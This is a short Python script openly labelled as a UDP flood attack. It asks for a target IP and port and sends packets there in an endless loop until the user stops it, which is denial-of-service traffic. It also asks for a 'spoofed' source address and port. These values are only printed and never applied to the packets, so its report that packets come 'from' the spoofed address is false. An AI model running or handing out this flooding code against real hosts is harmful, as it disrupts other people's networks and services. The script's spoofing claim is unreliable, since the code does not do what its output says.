import socket

# User input for target IP and port
target_ip = input("Enter target IP address: ")
target_port = int(input("Enter target port: "))

# User input for spoofed IP and port
spoofed_ip = input("Enter spoofed IP address: ")
spoofed_port = int(input("Enter spoofed port: "))

# Constructing UDP payload
udp_payload = b"UDP Flood Attack"

# Creating UDP socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Sending packets
try:
    while True:
        udp_socket.sendto(udp_payload, (target_ip, target_port))
        print("Sent UDP packet to", target_ip, ":", target_port, "from", spoofed_ip, ":", spoofed_port)
except KeyboardInterrupt:
    print("User terminated the attack")